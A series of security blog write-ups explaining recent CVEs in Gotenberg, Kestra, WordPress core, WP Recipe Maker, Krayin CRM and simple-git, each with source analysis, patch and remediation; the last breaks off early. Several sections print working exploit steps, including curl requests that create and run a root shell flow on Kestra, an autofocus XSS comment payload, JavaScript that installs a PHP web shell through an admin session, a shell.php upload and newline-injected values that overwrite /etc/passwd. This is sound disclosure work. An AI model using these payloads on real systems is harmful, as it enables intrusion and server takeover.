docker exec gotenberg-test ls -la /tmp/inject_proof
# -rw-r--r-- 1 root root ... /tmp/inject_proof  (the PDF landed here)

Combining -Directory and -FileName can overwrite an arbitrary system file:

Title = "test\n-Directory=/etc/\n-FileName=passwd"

Here, ExifTool moves the entire PDF being processed to /etc/passwd, clobbering the system's user database with a PDF binary.

-SymLink creates a symlink at an arbitrary path, which can become a stepping stone for chaining into other read/write primitives:

Title = "test\n-SymLink=/tmp/sym_inject"

docker exec gotenberg-test ls -la /tmp/sym_inject
# lrwxrwxrwx ... /tmp/sym_inject -> /tmp/.../source.pdf

-HardLink creates a hard link, which can keep data around even after Gotenberg cleans up its temp directory.

The HTTP response itself comes back as an ordinary 200 (a valid PDF returned) or 404 (the file vanished mid-processing), so on the surface it just looks like a routine processing failure — easy to miss with basic monitoring.

The patch — apply the same validation to values

Gotenberg 8.31.0 extends the safeKeyPattern check — previously applied to keys only — to values as well, rejecting any value that contains a newline or other control character.

for key, value := range metadata {
    if !safeKeyPattern.MatchString(key) {
        return fmt.Errorf("write PDF metadata with ExifTool: invalid metadata key %q", key)
    }
    if str, ok := value.(string); ok {
        if strings.ContainsAny(str, "\n\r\x00") {
            return fmt.Errorf("write PDF metadata with ExifTool: invalid value for key %q (contains control character)", key)
        }
    }
}

The lesson is straightforward. Any code that hands key=value pairs to an external process has to assume both sides of = are attacker-controlled. A fix that validates one side and assumes "the rest must be safe" leaves the door open. This is especially worth flagging in code review for any long-running, stay-open process fed commands over stdin: the moment a newline slips into a string you're writing there, it becomes "a brand new command line" on its own.

Remediation

Update Gotenberg to 8.31.0 or later immediately.
If an immediate update isn't possible, block the metadata-write endpoint (/forms/pdfengines/metadata/write) at a reverse proxy or WAF, or add a temporary rule rejecting requests whose metadata values contain newlines or control characters.
Running the Gotenberg container as a non-root user limits the blast radius of the same class of bug to whatever paths that user can write to, even if a similar flaw resurfaces.
If exposure is possible, check the container for unexpected file moves, symlinks, or overwrites — especially under /etc/ and /tmp/ — and recreate any container that may have been affected.

CVE-2026-49869 Explained: How One String Comparison Hands Root to an Unauthenticated Attacker

GUIDANCE WHITE — Mon, 12 Oct 2026 01:32:16 +0000

Overview

Item	Detail
CVE ID	CVE-2026-49869
Affected product	Kestra OSS (open-source workflow orchestration platform)
Affected versions	Below 1.0.45, and 1.1.0 up to (not including) 1.3.21
Fixed in	1.0.45, 1.3.21
CVSS 3.1	10.0 (Critical) — AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
Type	CWE-287 (Improper Authentication), CWE-184 (Incomplete List of Disallowed Inputs), CWE-78 (OS Command Injection), CWE-918 (SSRF)
Authentication required	None
Reported by	Vasco0x4, via Kestra's GitHub bug bounty
Note	Added to the CISA KEV catalog (Sep 2, 2026); exploited in the wild, including cryptominer deployments

Kestra is an open-source platform for defining, scheduling, and running workflows. It needs exactly one endpoint reachable before login exists: a public configuration endpoint that the setup screen reads to know how login and feature flags are configured. The single conditional written to carve out that one exception turned into a hole that disabled authentication across the entire platform.

The cause is simple. Where the code needed to ask "is this the config endpoint?", it instead asked "does this path end in the string configs?" Those two questions happen to agree on the one path they were meant to cover — and disagree on every other path that shares the same ending. Because Kestra's REST API embeds attacker-controlled values, like a flow's name, directly into the path, that gap was trivial to walk through.

The practical result: name any flow configs, and every API that creates, runs, or deletes that flow skips authentication entirely. Kestra also ships with shell, Python, and Node script-execution plugins enabled by default, and those scripts run inside the worker container as root. One broken authentication check becomes unauthenticated remote code execution (RCE).

Where the flaw lives — AuthenticationFilter

Kestra OSS defaults to Basic Auth, and every API request passes through a single filter, AuthenticationFilter. For each incoming request, it first decides whether that path is allowed through without authentication. Since the setup screen needs to read the server's base configuration (auth mode, feature flags) before any login has happened, the configuration-read endpoints (GET /api/v1/configs, GET /api/v1/{tenant}/configs) had to be the one exception.

The line that broke it:

// webserver/src/main/java/io/kestra/webserver/filter/AuthenticationFilter.java:49
boolean isConfigEndpoint = request.getPath().endsWith("/configs")
    || ...;

if (isConfigEndpoint || isOpenUrl || isManagementEndpoint(request) || mcpAuthHandled) {
    return chain.proceed(request); // auth skipped entirely
}

Step-by-step source analysis

Step 1 — "does it end in this string?" instead of "is this the exact path?"

endsWith("/configs") answers "does the tail of this request path match the string /configs?" What the code actually needed to answer was "is this request the public config endpoint?" Those are different questions.

"/api/v1/main/configs".endsWith("/configs")
// → true : the intended path. No problem here.

"/api/v1/main/flows/tutorial/configs".endsWith("/configs")
// → true : a flow simply named "configs" passes the exact same check.

Kestra's REST API identifies resources by a caller-supplied name — /flows/{namespace}/{flowId}, for instance. Set flowId to configs, and nearly every path related to that flow now ends in /configs. endsWith() has no way to tell a config-read request apart from a flow-management request; it waves both through identically.

The list of routes this flaw could bypass turned out to be long:

Controller	Bypassed pattern	Impact
FlowController	`PUT /api/v1/{tenant}/flows/{namespace}/configs`	Create/overwrite a flow
ExecutionController	`POST /api/v1/{tenant}/executions/{namespace}/configs`	Run a flow
KVController	`PUT /api/v1/{tenant}/namespaces/{namespace}/kv/configs`	Write to the key-value store
FlowController	`DELETE /api/v1/{tenant}/flows/{namespace}/configs`	Delete flows
DashboardController	`DELETE /api/v1/{tenant}/dashboards/configs`	Delete dashboards
LogController	`DELETE /api/v1/{tenant}/logs/{namespace}/configs`	Destroy audit logs

The combination of FlowController and ExecutionController is what drives the chain all the way to RCE.

Step 2 — create a flow carrying a shell command, unauthenticated

A single PUT request, with no credentials attached, creates a flow named configs. Set its task type to io.kestra.plugin.scripts.shell.Commands, and it runs a list of shell commands whenever it executes.

curl -X PUT \
  -H "Content-Type: application/x-yaml" \
  "http://<target>/api/v1/main/flows/tutorial/configs" \
  --data-binary '
id: configs
namespace: tutorial
tasks:
  - id: rce
    type: io.kestra.plugin.scripts.shell.Commands
    commands:
      - id
      - hostname
      - cat /etc/passwd'

# → HTTP 200 OK (created with no credentials at all)

Because the request path /api/v1/main/flows/tutorial/configs ends in /configs, AuthenticationFilter treats it exactly like the config-read endpoint and lets it straight through.

Step 3 — run that flow, unauthenticated

Creating the flow alone doesn't execute anything yet. The second request, which triggers execution, hits a path with the same ending, so it bypasses auth the same way.

curl -X POST "http://<target>/api/v1/main/executions/tutorial/configs"

# → {"id":"4eeB6vY7FT3mSj5FGYRrXW", "state":{"current":"RUNNING"}, ...}

Step 4 — the worker executes the plugin as root, completing the RCE

At this point, a Kestra worker picks up the execution and runs the shell.Commands task for real. Kestra installs over 80 script-execution plugins by default — shell, Python, Node, PowerShell, Go, and more — and the worker process runs inside its container as uid=0(root) out of the box. A flow created through the auth bypass needs only one task — "run this shell command" — and that command executes with root privileges.

[INFO] uid=0(root) gid=0(root) groups=0(root)
[INFO] root:x:0:0:root:/root:/bin/bash
[INFO] daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
[DEBUG] Command succeed with exit code 0

The same works with the Python plugin:

curl -X PUT \
  -H "Content-Type: application/x-yaml" \
  "http://<target>/api/v1/main/flows/tutorial/configs" \
  --data-binary '
id: configs
namespace: tutorial
tasks:
  - id: rce_python
    type: io.kestra.plugin.scripts.python.Script
    script: |
      import os
      print(os.popen("id && hostname").read())'

Step 5 — retrieve the output from the logs, unauthenticated

Finally, the execution's output (the command's stdout) is readable through the log search API — and that path also ends in a pattern matching /configs, so it's viewable with no credentials either.

curl "http://<target>/api/v1/main/logs/search?executionId=4eeB6vY7FT3mSj5FGYRrXW"

Create, execute, retrieve — three HTTP requests, none of them carrying an auth token or session cookie. An attacker never touches a login screen, yet runs arbitrary commands on the server and reads the output back directly.

A secondary surface — SSRF via the Pebble template engine

This auth bypass also combines with a second flaw. Kestra's workflow template engine (Pebble) exposes an http() function that performs no validation on the URI it's given.

// core/src/main/java/io/kestra/core/runners/pebble/functions/HttpFunction.java
// no allowlist, no private-IP filtering
URI uri = URI.create(args.get("uri").toString());

The researcher confirmed this lets a worker container reach a cloud metadata endpoint (http://169.254.169.254/). On AWS, GCP, or Azure, that endpoint can leak the IAM credentials attached to the instance. The RCE alone is already severe, but this SSRF path is worth checking separately during incident response — it's the kind of exposure that a command-execution-only investigation can miss.

The patch — exact path matching instead of a suffix check

Kestra 1.0.45 and 1.3.21 replaced the endsWith()-based comparison with an exact path match. Authentication is now skipped only when the request path is precisely the real config-read path (/api/v1/configs, /api/v1/{tenant}/configs), so naming a flow configs no longer exempts any path from authentication.

The lesson here is a simple one. Any whitelist of auth-exempt paths needs an exact path match, not a suffix or substring check — and that's especially true in a REST API where caller-supplied values become part of the path itself. It's worth auditing authentication logic anywhere for an endsWith() or contains() call that was meant to recognize one specific route.

Remediation

Update immediately: 1.0.45 for the 1.0.x branch, 1.3.21 for 1.1.x through 1.3.x.
Restart the worker containers, not just the webserver process. Privileged command execution happens in the worker, so an updated image with an old worker process still running continues to serve the vulnerable code path.
A reverse proxy in front of Kestra doesn't mitigate this — the broken comparison runs inside Kestra's own filter chain, after the proxy has already forwarded the request. If patching isn't immediately possible, a proxy rule that allows only the exact /api/v1/configs path can serve as a narrow stopgap, but it's not a substitute for the real fix.
Treat the exposure window as a possible incident, not a closed ticket. Rotate any secrets, service credentials, and cloud IAM roles the worker could reach, and check flow and execution history for an unrecognized flow or execution named configs.

CVE-2026-93485 Explained: How One WordPress Comment Can Hand Over the Server

GUIDANCE WHITE — Sat, 10 Oct 2026 01:00:20 +0000

Overview

Item	Detail
CVE ID	CVE-2026-93485
Name	Comment2XSS (originally disclosed as Comment2Shell)
Affected product	WordPress Core
Affected versions	4.7 through 7.1 (below each branch's patched release)
Fixed in	7.1.1 (backported to every supported branch: 7.0.5, 6.9.8, down to 4.7.36)
CVSS 3.1	7.1 (High) — AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L
Type	CWE-79 (Stored XSS), escalable to RCE via an administrator session
Authentication required	None — an anonymous comment is enough
Reported by	Rafie Muhammad (Awesome Motive Inc.), via the WordPress HackerOne bug bounty

WordPress sanitizes a comment with KSES when it's saved, then reformats it with the comment_text filter chain when it's displayed. Each step looks fine on its own, but the output-time filters interpret the saved result differently than the save-time sanitizer intended, and an attack hides in that gap.

The trigger is a single newline (\n) inside the cite attribute of a <blockquote>. That newline trips a regex bug in wpautop(), which turns what was originally plain text inside a <code> tag into a real HTML attribute on the <blockquote>. The result: an event handler like onfocus comes alive, and the script runs the moment the page loads — no click required.

What makes this worse is what happens next. If an administrator views that script while logged in, the script can borrow the admin's own plugin-install privilege. An anonymous visitor's comment can therefore chain all the way to remote code execution (RCE) on the server.

Where the flaw lives — the comment rendering pipeline

Here's how WordPress handles a comment, start to finish:

When a comment is submitted, KSES (wp-includes/kses.php) strips any tag or attribute that isn't on its allowlist.
When the stored comment is displayed, a chain of functions registered on the comment_text filter rewrites the HTML again.

// wp-includes/default-filters.php:225-230
add_filter( 'comment_text', 'wptexturize' );
add_filter( 'comment_text', 'convert_chars' );
add_filter( 'comment_text', 'make_clickable', 9 );
add_filter( 'comment_text', 'force_balance_tags', 25 );
add_filter( 'comment_text', 'convert_smilies', 20 );
add_filter( 'comment_text', 'wpautop', 30 );

Two of these, wpautop() and wptexturize(), are the culprits. Both rewrite HTML, and the gap between their two different rewrites is exactly where the exploit lives.

Step-by-step source analysis

Step 1 — KSES doesn't block a newline inside `cite`

An attacker posts the following comment anonymously:

<blockquote cite="a
b"><code>x" onfocus=alert(document.domain) autofocus tabindex=0</code></blockquote>

blockquote[cite] is on KSES's allowlist, so the tag itself passes through. The problem is in how the attribute value gets re-encoded.

// wp-includes/kses.php:1721-1727
$syntax_characters = array(
    '&' => '&amp;',
    '<' => '&lt;',
    '>' => '&gt;',
    "'" => '&apos;',
    '"' => '&quot;',
);

wp_kses_hair() reads the attribute with get_attribute(), which decodes HTML character references, then re-escapes only the characters in the table above. A newline is not in that table. So cite="a\nb" keeps its literal newline when stored. (The encoded form cite="a
b" works just as well, since WordPress converts it to a real newline before saving.)

At this point it's still just "a blockquote with a line break in an attribute" — nothing dangerous yet.

Step 2 — `wpautop()` swaps the newline for an HTML comment

wpautop() auto-wraps paragraphs in <p> tags, which means it first has to tell apart a newline that sits inside a tag from one that sits between paragraphs. It does this by temporarily replacing in-tag newlines:

// wp-includes/formatting.php:502
// Find newlines in all elements and add placeholders.
$text = wp_replace_in_html_tags( $text, array( "\n" => ' <!-- wpnl --> ' ) );

The \n inside cite becomes the HTML comment . Here's the detail that matters: that comment string itself contains a > — and that stray > is the bait for the next step.

Step 3 — `[^>]*` stops at the wrong `>` (the root cause)

wpautop() adds a blank line above block-level opening tags to split content into paragraphs, and blockquote is on that list.

// wp-includes/formatting.php:490
// Add a double line break above block-level opening tags.
$text = preg_replace( '!(<' . $allblocks . '[\s/>])!', "\n\n$1", $text );

Each paragraph then gets wrapped in <p>...</p>. A separate step cleans up the case where a <p> ends up wrapping a <blockquote> directly, by collapsing the two into one line. This is the regex that does it:

// wp-includes/formatting.php:563 (vulnerable version)
$text = preg_replace( '|<p><blockquote([^>]*)>|i', '<blockquote$1><p>', $text );

[^>]* means "any number of characters that are not >." For a normal blockquote, this should capture everything up to the tag's real closing >. But because step 2 planted a > inside , the regex stops right there instead.

The capture ends up being cite="a <!-- wpnl --, and the replacement (<blockquote$1><p>) places <p> right after it — in the middle of the cite attribute value. Once the function converts the placeholders back to newlines at the end, the result looks like this:

<blockquote cite="a
<p> b"><code>x" onfocus=alert(document.domain) autofocus tabindex=0</code></p></blockquote>

This still looks harmless — <p> is just four characters sitting inside a string that happens to be an attribute value. The next step is what turns it into a real tag boundary.

Step 4 — `wptexturize()` mistakes the stray `<p>` for a tag boundary

wptexturize() converts "straight quotes" into “curly quotes”. It runs automatically whenever a block theme (the default since WordPress 6.0) renders a template.

// wp-includes/block-template.php:297-299
$content = wptexturize( $content );
$content = convert_smilies( $content );
$content = wp_filter_content_tags( $content, 'template' );

(Some classic themes trigger it too, via the_content() — Twenty Twenty-One is one example.)

wptexturize() splits HTML into text nodes, and it reads the injected <p> as a genuine tag boundary. That makes the " right after it look like plain text rather than part of an attribute value, so it gets rewritten to the typographic entity ”.

There's one exception, though:

// wp-includes/formatting.php:106
$default_no_texturize_tags = array( 'pre', 'code', 'kbd', 'style', 'script', 'tt' );

The onfocus=... payload in the attack comment sits inside a <code> tag — which KSES already allowed on its comment allowlist. Because wptexturize() skips the content of code, the " inside it survives untouched. The fake closing " of <blockquote> gets neutralized into a curly quote, while the real " inside <code> stays straight and ends up acting as the actual attribute delimiter.

Step 5 — Final render: the event handler goes live

After all four filters have run, here is the HTML the browser actually parses:

<blockquote cite="a <p> b&#8221;>
  onfocus=alert(document.domain) autofocus tabindex=0>

From the point where cite's value closes (the genuine " that was inside <code>), the browser reads onfocus, autofocus, and tabindex as real attributes of <blockquote>. Because autofocus is present, the element gets focus the instant the page loads, which fires onfocus with zero user interaction — a true zero-click execution.

Routes that skip comment approval entirely

By default, WordPress holds a first-time commenter's comment for moderation (comment_previously_approved defaults to 1), which would seem to block this attack until an admin approves it. The researcher documented three ways around that.

Reuse the default sample commenter. A fresh WordPress install ships with one pre-approved comment from "A WordPress Commenter." Since check_comment() only checks the author name and email together, posting under that same name/email gets auto-approved.
The approval requirement is simply off. If "Comment author must have a previously approved comment" is unchecked in site settings, a brand-new identity is stored as approved right away.
A pending comment still renders for some visitors. Anyone holding a comment_author_<hash> cookie (i.e., anyone who has ever commented on the site) can still see an unapproved comment via the author's own ?unapproved=<id>&moderation-hash=<hash> link.

So "we have comment moderation turned on" doesn't actually close this gap.

From XSS to RCE — after an admin's session is involved

The script runs in whoever's browser loads the page. For a regular visitor, that's a limited blast radius. But if a logged-in administrator opens the post, things change.

The plugin-upload endpoint checks the upload_plugins capability, which map_meta_cap() maps to the install_plugins capability an administrator holds. The injected script can use that directly:

(async () => {
  // 1. Pull the upload nonce out of the plugin installer form.
  const html = await (await fetch('/wp-admin/plugin-install.php?tab=upload',
                                  { credentials: 'include' })).text();
  const form = new DOMParser().parseFromString(html, 'text/html')
                 .querySelector('form.wp-upload-form');
  const nonce = form.querySelector('[name="_wpnonce"]').value;

  // 2. Build a one-file plugin zip in memory, containing a PHP web shell.
  const php = "<?php /* Plugin Name: X */ if (isset($_GET['c'])) system($_GET['c']);";
  const zip = buildStoredZip('x/x.php', php);

  // 3. Submit it straight to the installer — no file editor, no FTP needed.
  const body = new FormData();
  body.append('_wpnonce', nonce);
  body.append('pluginzip', new Blob([zip], { type: 'application/zip' }), 'x.zip');
  await fetch('/wp-admin/update.php?action=upload-plugin',
              { method: 'POST', credentials: 'include', body });
})();

The plugin doesn't even need to be activated — the file is already on disk and reachable directly, so the shell answers immediately:

curl "https://example.com/wp-content/plugins/x/x.php?c=id"

Whatever value is passed in c executes as the web server user. What started as a single comment ends with shell access on the server.

The patch — making the regex quote-aware

WordPress 7.1.1 fixed this with a one-line change to the offending regex.

// Before — WordPress 7.1 and earlier
$text = preg_replace( '|<p><blockquote([^>]*)>|i', '<blockquote$1><p>', $text );

// After — WordPress 7.1.1
$text = preg_replace( '!<p><blockquote((?:[^>"\']|"[^"]*"|\'[^\']*\')*)>!i', '<blockquote$1><p>', $text );

The old [^>]* allowed only "any non-> character." The new pattern repeats one of three alternatives:

[^>"\'] — an ordinary character that's neither a quote nor >
"[^"]*" — an entire double-quoted attribute value, > inside included
'[^\']*' — an entire single-quoted attribute value, > inside included

Once an attribute value is wrapped in quotes, any > inside it is no longer mistaken for the tag's real end. With the patched regex, the capture correctly extends across the whole cite="a  b" value, and <p> lands only after the tag's genuine closing >. Since this line was the only place in wpautop() that inserts something inside a tag, a single-line fix was all it took.

Remediation

Update to WordPress 7.1.1 if you're on 7.1, or to the corresponding patched release for your branch (7.0.5, 6.9.8, down to 4.7.36, and so on).
If you can't update immediately, closing comments on individual posts, or disabling comments site-wide, removes the attack path entirely.
A WAF or security plugin that blocks requests containing a newline inside a cite attribute can serve as a temporary mitigation.
Updating stops new attacks but doesn't undo any changes already made by an attacker. Sites that may have been exposed should separately audit their installed plugins and files for anything unrecognized.

CVE-2026-89274: When a Comment Meets do_shortcode() in WP Recipe Maker

GUIDANCE WHITE — Fri, 09 Oct 2026 03:27:58 +0000

TL;DR

In WP Recipe Maker 10.8.1 and earlier, the text of a visitor's rated comment is passed to do_shortcode() while the plugin builds its recipe JSON-LD. Any [shortcode] written in an approved comment is executed on the server each time the page renders, and the output lands in the page for everyone to see.


CVE	CVE-2026-89274
Product	WP Recipe Maker (WordPress plugin)
Affected	10.8.1 and earlier
Fixed in	10.8.2
Type	CWE-94, arbitrary shortcode execution
CVSS 3.1	9.1 (`AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N`)
Authentication	None (the comment has to be approved)

One caveat up front: this is not arbitrary PHP execution. An attacker can only run shortcodes that are already registered on the site, so the real impact depends on what those shortcodes do.

Background you need

What a shortcode is

A shortcode is WordPress's [tag option="value"] syntax. When do_shortcode() sees one, it calls the PHP function registered for that tag and swaps the shortcode for the return value.

add_shortcode( 'hello', function() {
    return 'Hello!';
});

echo do_shortcode( 'Hi [hello]' );   // Hi Hello!

The important part is that do_shortcode() runs every shortcode it finds in the string. That is fine for text written by editors and authors, who are trusted. It is not fine for text written by anonymous visitors, such as comments.

What JSON-LD is

JSON-LD is structured data placed in the page so search engines can understand it. A recipe page carries something like this:

<script type="application/ld+json">
{ "@type": "Recipe", "name": "...", "review": [ { "reviewBody": "..." } ] }
</script>

WP Recipe Maker turns rated comments into entries of that review array, with the comment text as reviewBody. This block is public: every visitor and every crawler can read it.

The vulnerable code

Some of the code below is simplified to make the flow easier to follow. The file is includes/public/class-wprm-metadata.php from 10.8.1.

The data flow

comment_content
   └─▶ reviewBody                    (class-wprm-metadata.php:1016-1017)
        └─▶ $metadata['review'][]    (:1028)
             └─▶ sanitize_metadata( get_metadata($recipe) )   (:374)
                  └─▶ do_shortcode( ... )   <- sink            (:553)

How to read Figure 2. It is a five-step chain, top to bottom. The amber card at the top is the untrusted source, and the red card at the bottom is the sink. The small gray text on each card is the line number. The dashed red bracket on the right marks the point of the whole bug: from step 1 to step 5 there is no validation or filtering of any kind.

Step 1: which comments get collected

// simplified
$comments = get_comments( array(
    'post_id'  => $recipe->parent_post_id(),   // the post the recipe card sits in
    'status'   => 'approve',                   // approved comments only
    'meta_key' => 'wprm-comment-rating',       // only comments that carry a rating
) );

foreach ( $comments as $comment ) {
    $review = array(
        '@type'      => 'Review',
        'reviewBody' => $comment->comment_content,   // raw comment text
        // ... author, reviewRating, etc.
    );
    $metadata['review'][] = $review;
}

The plugin takes approved, rated comments from the post that contains the recipe and puts comment_content straight into reviewBody. Nothing is wrong yet. The problem is what happens to that array next.

Step 2: the sanitizer that executes

Before output, the metadata goes through sanitize_metadata(). It recurses into arrays and cleans every string it finds.

// simplified
public static function sanitize_metadata( $metadata ) {
    if ( is_array( $metadata ) ) {
        foreach ( $metadata as $key => $value ) {
            $metadata[ $key ] = self::sanitize_metadata( $value );   // recurse
        }
        return $metadata;
    }

    // string case: the vulnerable line (10.8.1, :553)
    $sanitized = strip_shortcodes( wp_strip_all_tags( do_shortcode( $metadata ) ) );
    return $sanitized;
}

Read that one line from the inside out:

Order	Function	What it does
1	`do_shortcode( $metadata )`	Executes shortcodes and replaces them with their output
2	`wp_strip_all_tags( ... )`	Removes HTML tags from the result
3	`strip_shortcodes( ... )`	Removes any shortcode syntax still left

The developer's intent was probably "strip shortcodes and tags so only clean text reaches the JSON-LD". But execution (step 1) happens before the stripping (steps 2 and 3). The later steps only clean up output that has already been produced, so they cannot stop the shortcode from running.

An analogy: it is like opening a package and letting its contents run, and only then inspecting the wrapping paper.

Why `reviewBody` is the way in

sanitize_metadata() applies do_shortcode() to every string in the array. For fields like the recipe title or ingredients, that is harmless, because an administrator wrote them. reviewBody is the one place where text from anonymous visitors flows into the same array. A pipeline designed for trusted data ended up receiving untrusted data.

The attack flow

An attacker posts a rated comment on the post that contains a recipe, with shortcode syntax in the body. The rating (wprm-comment-rating) is what makes the comment count as a review.
The comment gets approved, either automatically or by an administrator.
Someone opens the recipe page, and the plugin builds the metadata. The approved comment is now inside review.
sanitize_metadata() calls do_shortcode() on the comment text, and the shortcode runs on the server.
The output is written into reviewBody in the JSON-LD and is visible to every visitor and crawler.

How to read Figure 1. Three horizontal lanes (attacker, site, visitors), followed in the order of the numbered badges. The attacker appears only in step 1. Everything after that happens in the site and visitor lanes, and the curved arrows between lanes are the hand-offs: approval, then a page request, then metadata generation. Only card 5 has a red accent, because it is the point where code runs on the server. The red arrow from 5 to 6 shows that the result is delivered to ordinary visitors, not to the attacker.

A note on approval: WordPress ships with "comment author must have a previously approved comment" enabled, so a first-time commenter is often held in moderation. That raises the bar somewhat. Sites with looser moderation are exposed immediately.

Impact

Because the output is embedded in the page, any shortcode that returns data becomes a disclosure channel. The public advisory mentions things like attachment captions, fields of private posts, and data exposed by other installed plugins.
If a shortcode has side effects, it can fire on every render of the page.
It is not RCE. The attacker cannot run arbitrary PHP, only what the site has registered as shortcodes.

The patch (10.8.2)

// 10.8.1 (vulnerable)
$sanitized = strip_shortcodes( wp_strip_all_tags( do_shortcode( $metadata ) ) );

// 10.8.2 (fixed)
$sanitized = strip_shortcodes( wp_strip_all_tags( WPRM_Instacart::do_shortcode_safe( $metadata ) ) );

One call changes: do_shortcode() becomes WPRM_Instacart::do_shortcode_safe().

do_shortcode_safe() does not execute anything. It removes the shortcode tags and keeps only the inner content (class-wprm-instacart.php:501).
The same comment no longer produces shortcode output in reviewBody.
The plugin's changelog describes the change as preventing shortcode execution from comment text in recipe metadata.

How to read Figure 3. The top row is 10.8.1 and the bottom row is 10.8.2. In each row, only the first card has a color, and the other two are gray. That is the whole patch: the first step changed and the rest did not. The red bracket under the top row says the two cleanup steps come after execution and are too late. The teal bracket under the bottom row says the fix blocks execution at the first step.

How to read Figure 4. One approved comment at the top feeds both versions. On the left (10.8.1), the highlighted reviewBody line contains the shortcode's output, which is public. On the right (10.8.2), the shortcode is stripped and never runs. The empty value on the right assumes a comment that contains only a shortcode. If the shortcode wraps some inner text, that text can remain.

What to do

Update WP Recipe Maker to 10.8.2 or later, preferably the latest release.
Until you can update, switch rated comments to manual approval and review pending and approved comments for [ and ] syntax.
Review which shortcodes your site registers, and check whether any of them return sensitive data.

CVE-2026-38526 Deep Dive: Unrestricted PHP Upload RCE in Krayin CRM

GUIDANCE WHITE — Thu, 08 Oct 2026 07:42:42 +0000

Summary

Field	Value
CVE ID	CVE-2026-38526
CVSS 3.1	9.9 (Critical)
CWE	CWE-434 (Unrestricted Upload of File with Dangerous Type)
Affected product	Webkul Krayin CRM v2.2.x (open-source Laravel CRM)
Vulnerable endpoint	`POST /admin/tinymce/upload`
Privileges required	Low — any authenticated user, admin rights not needed
User interaction	None

The CVSS vector is AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H — a network-reachable flaw, low attack complexity, low privileges required, no user interaction, with high impact on confidentiality, integrity, and availability. In plain terms: if you can log in at all, you can take over the server.

Why this matters, in one sentence

Krayin CRM uses the TinyMCE rich-text editor for things like email templates and notes. When a user pastes or inserts an image into the editor, the browser uploads that image through an API endpoint. The problem: that endpoint never checks whether the uploaded file is actually an image. An attacker can submit a .php file instead of a .jpg, and the server stores it in a directory the web server will happily execute.

Source-level walkthrough

A typical vulnerable Laravel upload handler looks like this. It's a reconstruction of the pattern described in the public advisory and PoC — not a verbatim copy of the proprietary source file — but it captures exactly the logic flaw involved.

// Webkul\Admin\Http\Controllers\TinyMCE\TinyMCEController (conceptual reconstruction)

public function upload(Request $request)
{
    // ① Grab the uploaded file as-is
    $file = $request->file('file');

    // ② Trust the client-supplied filename — no extension allowlist!
    $fileName = $file->getClientOriginalName();

    // ③ Store it directly in a web-accessible "public" disk
    $path = $file->storeAs('tinymce', $fileName, 'public');

    // ④ Hand the attacker the exact URL of what was just stored
    return response()->json([
        'location' => asset('storage/' . $path),
    ]);
}

Breaking it down line by line:

① $request->file('file') reads the uploaded file straight from the request. No validation has happened yet.
② getClientOriginalName() trusts whatever filename the browser sent. If an attacker names the file shell.php, the server accepts that name verbatim. This is a textbook case of trusting client-controlled input that should never be trusted server-side.
③ This is the real killer. Laravel's storage/app/public disk is symlinked to the public web root via php artisan storage:link. Anything saved there is reachable by URL. That's fine for actual images — but a .php file dropped in this directory becomes a script the web server will execute on request, not just serve.
④ The response conveniently returns the exact path of the uploaded file, so the attacker doesn't even need to guess it.

Three layers of defense are missing here, any one of which would have stopped the attack:

No extension allowlist — nothing restricts uploads to .jpg, .png, .gif, etc.
No MIME/content validation — the Content-Type header is either trusted blindly or not checked at all.
Storage in an executable path — uploaded files land under the PHP-interpreted web root instead of an isolated, non-executable location.

Attack flow

The attack proceeds in four stages:

Authenticate — a low-privileged authenticated user — no admin role required — can reach /admin/tinymce/upload.
Upload the payload — a multipart request like this:

POST /admin/tinymce/upload HTTP/1.1
Host: target
Cookie: <authenticated session>
Content-Type: multipart/form-data; boundary=----boundary

------boundary
Content-Disposition: form-data; name="file"; filename="shell.php"
Content-Type: image/jpeg

<?php /* malicious code */ ?>
------boundary--

Note the Content-Type: image/jpeg header — it's entirely attacker-controlled. If the server trusts this header instead of inspecting the file's actual bytes (its magic number), this spoofed header is enough to sail through.

Stored without validation — the file lands in a public directory like storage/tinymce/ under its original filename, and the server returns the file's public URL in the response.
Code execution — a plain GET request to that URL is enough. The web server sees the .php extension, hands it to the PHP interpreter, and the embedded code runs with the web server's privileges (typically www-data).

Authenticate → Upload file → Saved in webroot → Code execution
  (valid          (no ext.         (PHP-exec.        (RCE
   account)        check)           path)             achieved)

The upload itself is "just" a file write — the vulnerability exists because the write lands in a location the server will execute. That's the essence of CWE-434.

Impact

Arbitrary command execution with web server process privileges
Exposure of .env and other config files, including database credentials
Potential for full system compromise
Given this is CRM software, customer PII and sales data are directly at risk
An estimated ~2,700 internet-facing instances are believed affected

Remediation

Category	Action
Immediate	Block or restrict `/admin/tinymce/upload` at the WAF / reverse proxy
Short term	Disable PHP execution in upload directories (`.htaccess` with `php_flag engine off`, or an Nginx `location` block denying `.php` execution)
Code fix	Enforce both an extension allowlist and real MIME/content inspection
Structural	Never trust the client filename — generate a random name (UUID) server-side
Structural	Move uploads outside the web root, or to an isolated object store (e.g. S3)
Access control	Restrict upload capability to the roles that actually need it
Monitoring	Alert on unusual access to, or execution from, upload directories

A corrected version of the handler looks roughly like this:

public function upload(Request $request)
{
    $request->validate([
        'file' => 'required|image|mimes:jpg,jpeg,png,gif,webp|max:4096',
    ]);

    $file = $request->file('file');

    // Server generates the filename — client input is never trusted
    $fileName = Str::uuid() . '.' . $file->getClientOriginalExtension();

    $path = $file->storeAs('tinymce', $fileName, 'public');

    return response()->json([
        'location' => asset('storage/' . $path),
    ]);
}

The mimes: rule validates the file's actual signature (magic bytes), not just its extension or Content-Type header — so header spoofing alone can no longer bypass it.

CVE-2026-6951 — Bypassing simple-git's Blocklist via the --config Flag (RCE Analysis)

GUIDANCE WHITE — Wed, 07 Oct 2026 01:09:53 +0000

Field	Value
CVE ID	CVE-2026-6951
Affected package	`simple-git` (npm)
Affected versions	< 3.36.0
Patched version	3.36.0
CWE	CWE-94 (Improper Control of Generation of Code), CWE-88 (Argument Injection)
CVSS 3.1	9.8 (Critical) — `AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H`
Disclosed	2026-04-25

1. Overview

simple-git is the library that lets Node.js applications drive git programmatically — 8.7M weekly downloads and 7,789 dependent packages, making it a core piece of the JavaScript build/deploy toolchain.

CVE-2026-6951 is an incomplete fix for a vulnerability patched years earlier, CVE-2022-25912 (RCE via option injection). The 2022 patch only blocked the short-form -c flag, while git treats the long-form --config flag as a complete synonym — and the patch never blocked it. As a result, an attacker could reuse the exact same attack that had been "fixed" four years prior, just by changing how the flag was written.

